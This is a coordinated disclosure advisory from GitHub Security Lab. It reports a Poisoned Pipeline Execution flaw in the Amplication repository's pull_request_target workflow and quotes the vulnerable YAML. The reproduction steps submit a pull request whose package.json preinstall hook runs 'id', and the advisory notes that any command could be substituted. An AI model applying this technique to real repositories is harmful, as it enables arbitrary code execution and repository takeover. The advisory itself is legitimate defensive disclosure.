Coordinated Disclosure Timeline

Summary

Amplification is vulnerable to Poisoned Pipeline Execution (PPE) allowing malicious actors to take over the repository.

Project

Amplification

Tested Version

Latest commit at the time of reporting.

Details

Poisoned Pipeline Execution (PPE) in pr-labeler.yml workflow (GHSL-2024-254)

The pr-labeler.yml workflow gets triggered by a pull_request_target event and, therefore, a malicious actor can create a Pull Request to trigger it:

on:
  pull_request_target:
    types: [opened, edited, synchronize, reopened]

The nx job calls the nx.template.yml reusable workflow and passes the PR merge commit in the nx-head argument:

  nx:
    name: Nx
    uses: ./.github/workflows/nx.template.yml
    with:
      nx-head: "refs/pull/${{ github.event.number }}/merge"
      nx-base: ${{ github.base_ref }}

The reusable workflow checks out the HEAD of the triggering Pull Request:

      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
          ref: ${{ inputs.nx-head }}
          filter: blob:none

Since an attacker can control the checked-out code, the CWD will get poisoned with attacker-controlled files.

The workflow then installs bun and sets the Environment Variables needed for nx:

      - uses: nrwl/nx-set-shas@v4
        if: inputs.nx-force-all == false
        with:
          main-branch-name: ${{ inputs.nx-base }}
      - name: Setup Bun Runtime
        if: ${{ steps.cache.outputs.cache-hit != 'true' }}
        uses: oven-sh/setup-bun@v1.1.1
        with:
          bun-version: 1.0.15

Finally it installs bun dependencies:

      - name: Install Dependencies
        run: bun install

By supplying a malicious package.json file as part of the Pull Request changed files, an attacker will be able to run arbitrary code in the context of this workflow. The workflow runs with full-write permissions:

  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

Steps To Reproduce

  1. Install gh CLI tool
  2. gh repo clone amplication/amplication
  3. git checkout -b poc
  4. Modify the package.json file with the following contents:
{
  "name": "my_package",
  "description": "",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "id"
  },
  "keywords": [],
  "author": ""
}

(Change id with any arbitrary commands)

  1. git add .
  2. git commit -m “Test”
  3. gh pr create (follow steps on screen to submit PR)
  4. Go to amplication/amplication GitHub repo and watch the actions run. The output for the “Install Dependencies” step should be the output of id command proving that the attacker can execute arbitrary code.:
uid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)

Impact

This issue may lead to full repository take over.

Resources

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-254 in any communication regarding this issue.